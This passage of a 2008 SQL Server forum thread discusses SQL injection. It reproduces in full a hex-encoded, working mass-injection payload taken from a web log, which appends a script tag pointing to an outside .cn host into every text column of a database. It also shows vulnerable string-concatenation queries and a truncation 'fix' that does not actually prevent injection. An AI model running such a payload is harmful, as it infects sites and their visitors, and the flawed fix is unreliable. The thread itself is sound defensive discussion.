June 10, 2008 at 11:31 am
As I replied to a presenter of SQL Server 7 "English Query" Feature about 10 year ago when he asked if I liked it: "Not sure. My Sequel (SQL) is better then my English"
On this site we do welcome all SQL people including both categories: those whose SQL is better then their English and those whose English is better then their SQL.
Regards,Yelena Varsha
June 10, 2008 at 2:00 pm
I'm still too busy chuckling about someone writing a post to complain about my use of English, while misusing elipses, commas, quotation marks, periods, sentence structure, paragraphs, and hyphens, all in that same post.
Purpose is senior to structure. The question accomplished its purpose, despite its obviously and acknowledgely flawed structure. I would rather that, than a question that was gramatically and structurally perfect, and which communicated with utmost clarity, but which failed to accomplish its purpose. I'm not a politician, nor a lawyer; what I'm saying/writing is far more important to me than the exact words used and their manner of use.
- Gus "GSquared", RSVP, OODA, MAP, NMVP, FAQ, SAT, SQL, DNA, RNA, UOI, IOU, AM, PM, AD, BC, BCE, USA, UN, CF, ROFL, LOL, ETC
Property of The Thread
"Nobody knows the age of the human race, but everyone agrees it's old enough to know better." - Anon
June 16, 2008 at 2:18 am
I run a web server where the oldest pages date about 10 years of life, and are still in old .asp.
Unfortunately I knew the answer very well. I had a bit of a nightmare last month, when I was checking my web server log and found some very strange entries like this:
DO NOT RUN THIS CODE ON YOUR DB OR IT WILL BE DESTROYED
2008-05-11 20:57:33 W3SVC2094917486 10.0.0.5 POST /Customer/Inklist.asp K=NITRO;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500
43004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800
320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F0052002000
46004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D002000730079007300
6F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E0069006400
3D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E007800740079007000
65003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D00320033003100
20006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00
720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F00720020004900
4E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900
200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D0020007300650074002000
5B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B002700
2B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063006F006D00
700075007400650072007300680065006C006C006F002E0063006E002F0071002E006A0073003E003C002F007300630072006900700074003E002700270027002900
4600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E005400
4F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F007200200044004500
41004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 8086 - 10.0.0.1 Mozilla/3.0+(compatible;+Indy+Library) 302 0 0
(Please note I had to break the hex code adding carriage returns: you have to put that on a single line.
If you want to examine the code:
* Open a query window in SQL server;
* Insert:
DECLARE @s-2 NVARCHAR(4000);
SET @s-2=CAST( and here add all the above hex on a sinle line [excluding the %20AS%20... of course] AS NVARCHAR(4000));
* remove EXEC(@S); code!!!
* add a SELECT @s-2; line at the end. )
I had to re-examine all of those old .asp pages and see if they were vulnerable (fortunately not, but it probably was a matter of good luck - or good programming style - because at that time SQL injection was something nobody had ever heard of, or at least I didn't).
A few weeks later, my firewall got the signature for this attack ("Danmec.Asprox.SQL.Injection") and now recognizes those trials blocking them before they reach IIS.
Examining the code was really interesting to me, because I had never seen such a destructive code put into action. The attacker has some brain, and deep knowledge of the SQL server internals. I tried to follow the .cn site where the html script, injected in every row of every table of the db, points (now that site is down).
A web page using data provided by an infected table, would have run a javascript downloaded by that computershello.cn site. This javascript would have opened an IFRAME pointing to other javascripts downloading content from several other web sites (most of them seemed to reside in China).
Since then, my firewall reported dozen of those attacks every day.
Scary, isn't it?
Bottom line is: take SQL injection risk as a real menace. There are people out there who will try everything to destroy your work and your data, for some mysterious reason! (I hope this post doesn't give some of them some bad ideas, my purpose was the exact opposite.)
June 16, 2008 at 8:32 am
davidthegray (6/16/2008)
Examining the code was really interesting to me, because I had never seen such a destructive code put into action. The attacker has some brain, and deep knowledge of the SQL server internals....
Bottom line is: take SQL injection risk as a real menace. There are people out there who will try everything to destroy your work and your data, for some mysterious reason! (I hope this post doesn't give some of them some bad ideas, my purpose was the exact opposite.)
Unfortunately, I would have to disagree with the statement about deep knowledge. The attacker is trying to obfuscate the code and this isn't a new attack mechanism. It's actually rather old, dating back to the IIS 4.0 days. Then it was hiding directory traversal attacks by using Unicode. It's just new with respect to applying it to SQL injection. The actual mechanism that is being tried, which inserts a javascript routine into code that will be displayed on the web page, has also been around a while.
K. Brian Kelley
@kbriankelley
June 18, 2008 at 11:14 am
we've been getting hammered by the version of the attack that inserts the javascript mentioned above, thanks to a complete lack of input validation and total reliance on the:
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Request.QueryString("OrderID") & "'"
style of coding.
Our solution, though very weak IMO, has been to issue:
DENY SELECT ON syscolumns TO [username]
DENY SELECT ON sysobjects TO [username]
This solution has been successful, though I can't help but be concerned about how vulnerable we are to other types of SQL injection. And of course, no one is willing to give the go-ahead to rewrite our thousands of scripts to utilize parameterized queries, include input validation, etc.
Can't complain about the job security that this particular exploit has given me though 🙂
June 18, 2008 at 11:20 am
dobberteen (6/18/2008)
we've been getting hammered by the version of the attack that inserts the javascript mentioned above, thanks to a complete lack of input validation and total reliance on the:
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Request.QueryString("OrderID") & "'"style of coding.
Our solution, though very weak IMO, has been to issue:
DENY SELECT ON syscolumns TO [username]DENY SELECT ON sysobjects TO [username]
This solution has been successful, though I can't help but be concerned about how vulnerable we are to other types of SQL injection. And of course, no one is willing to give the go-ahead to rewrite our thousands of scripts to utilize parameterized queries, include input validation, etc.
Can't complain about the job security that this particular exploit has given me though 🙂
Denying SELECT on the system tables is a good idea, but presumably the this username still has permissions to access other tables. These permissions might be SELECT permissions, or possibly more seriously INSERT, DELETE, UPDATE, TRUNCATE or even DDL statements. What you've implemented sounds like a stop-gap measure to defend against that one particular attack. Just remember that nothing in IT is as permanent as a temporary solution.
June 18, 2008 at 2:30 pm
dobberteen (6/18/2008)
we've been getting hammered by the version of the attack that inserts the javascript mentioned above, thanks to a complete lack of input validation and total reliance on the:
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Request.QueryString("OrderID") & "'"style of coding.
Our solution, though very weak IMO, has been to issue:
DENY SELECT ON syscolumns TO [username]DENY SELECT ON sysobjects TO [username]
Dobberteen, there are two solutions. First (best) is using a parameter.
rs.Source = "SELECT * FROM Orders WHERE OrderID = @OrderID"
The problem is that using parameter in old .asp ado vb code is a bit of a pain.
Second (quickest) solutions are: if your OrderID is an int, just use something like
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & CInt(Request.QueryString("OrderID")) & "'"
If your IDs are strings, use something like
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Left(Request.QueryString("OrderID"), myFieldLength) & "'"
July 14, 2008 at 4:19 am
@Christian Buettner
Standard injection attacks often work on the basis of form entry and then accurately guessing that there will be injectable code at the other end. Often works on username/password entry where the page that interprets the entry only checks to see if count of the matching username/password is one or more -
select count(*) from login where username = @username and password = @password
Then its a simple matter of using apostrophes and semi-colons to do a destructive query.
This is a newer injection that I have seen first hand and it relies not on form entry but on parameterized pages eg:
http://www.injectme.com/search.asp?search=hitmebabyonemoretime
It merely guesses that search.asp has some direct Sql similar to the form based injection. Interesting that the new injection uses hex, but fundamentally it is easier to retrospectively discover because it is as clear as day in the weblogs.
July 14, 2008 at 4:26 am
@Tao Klerks
I guessed the right answer without reading the question at any length because I'd seen it before!
As I am more of a developer who uses Sql than a Dba with an understanding of coding I am also aware of the continuing debate amongst developers who want to use inline Sql as opposed to SPs. But I believe that you are right in saying use SPs, and parameters and you *should* be alright.
July 15, 2008 at 6:41 am
the string 0x73656C656374206E616D652066726F6D207379732E6461746162617365733B actually has some meaning? I quite don't get why a string like this is used in the question.
Or is it just any string that generates an error on the server and thus displays a listing of the databases?
edit: never mind, found it in one of the posts 🙂 "select name from sys.databases;"
however, i tried it and got only some errors 🙂
July 15, 2008 at 7:29 am
yavvie (7/15/2008)
the string 0x73656C656374206E616D652066726F6D207379732E6461746162617365733B actually has some meaning? I quite don't get why a string like this is used in the question.Or is it just any string that generates an error on the server and thus displays a listing of the databases?
Hi Yavvie,
Run the code below in a query window and you'll see the meaning of this string.
SELECT CAST(0x73656C656374206E616D652066726F6D207379732E6461746162617365733B AS varchar(50))
July 15, 2008 at 1:58 pm
Mike C (6/18/2008)
dobberteen (6/18/2008)
we've been getting hammered by the version of the attack that inserts the javascript mentioned above, thanks to a complete lack of input validation and total reliance on the:
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Request.QueryString("OrderID") & "'"style of coding.
Our solution, though very weak IMO, has been to issue:
DENY SELECT ON syscolumns TO [username]DENY SELECT ON sysobjects TO [username]
This solution has been successful, though I can't help but be concerned about how vulnerable we are to other types of SQL injection. And of course, no one is willing to give the go-ahead to rewrite our thousands of scripts to utilize parameterized queries, include input validation, etc.
Can't complain about the job security that this particular exploit has given me though 🙂
Denying SELECT on the system tables is a good idea, but presumably the this username still has permissions to access other tables. These permissions might be SELECT permissions, or possibly more seriously INSERT, DELETE, UPDATE, TRUNCATE or even DDL statements. What you've implemented sounds like a stop-gap measure to defend against that one particular attack. Just remember that nothing in IT is as permanent as a temporary solution.
I couldn't agree more about the shaky nature of the 'fix' that we've put in place to stop this *one* type of exploit... Again, we've been lucky as this is the only type of attack that we're seeing. I'd hate to see what would happen if someone decided to start guessing object names and then DROPping them - actually, I wouldn't need to see it, I know exactly what would happen.
I'm sure it's obvious that I'm not a DBA - my role leans much more to the development side... but since I am the only guy at my office w/a modicum of SQL server experience, I am called on to fulfill a quasi-DBA role from time to time. Ah the joys of working in a tiny shop! 🙂
July 16, 2008 at 1:47 am
dobberteen (7/15/2008)
Mike C (6/18/2008)
dobberteen (6/18/2008)
we've been getting hammered by the version of the attack that inserts the javascript mentioned above, thanks to a complete lack of input validation and total reliance on the:
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Request.QueryString("OrderID") & "'"style of coding.
Our solution, though very weak IMO, has been to issue:
DENY SELECT ON syscolumns TO [username]DENY SELECT ON sysobjects TO [username]
This solution has been successful, though I can't help but be concerned about how vulnerable we are to other types of SQL injection. And of course, no one is willing to give the go-ahead to rewrite our thousands of scripts to utilize parameterized queries, include input validation, etc.
Can't complain about the job security that this particular exploit has given me though 🙂
Denying SELECT on the system tables is a good idea, but presumably the this username still has permissions to access other tables. These permissions might be SELECT permissions, or possibly more seriously INSERT, DELETE, UPDATE, TRUNCATE or even DDL statements. What you've implemented sounds like a stop-gap measure to defend against that one particular attack. Just remember that nothing in IT is as permanent as a temporary solution.
I couldn't agree more about the shaky nature of the 'fix' that we've put in place to stop this *one* type of exploit... Again, we've been lucky as this is the only type of attack that we're seeing. I'd hate to see what would happen if someone decided to start guessing object names and then DROPping them - actually, I wouldn't need to see it, I know exactly what would happen.
I'm sure it's obvious that I'm not a DBA - my role leans much more to the development side... but since I am the only guy at my office w/a modicum of SQL server experience, I am called on to fulfill a quasi-DBA role from time to time. Ah the joys of working in a tiny shop! 🙂
Dobberteen,
Doing something like:
rs.Source = "SELECT * FROM Orders WHERE OrderID = " & CInt(Request.QueryString("OrderID"))
should be easy and quick enough (provided, of course, that your order IDs were integers).
Since it looks like you are using string IDs, let's say they are 10 chars long:
rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Left(Request.QueryString("OrderID"), 10) & "'"
Those fixes will probably let you sleep a bit better at night. 😉
Viewing 13 posts - 46 through 57 (of 57 total)
You must be logged in to reply to this topic. Login to reply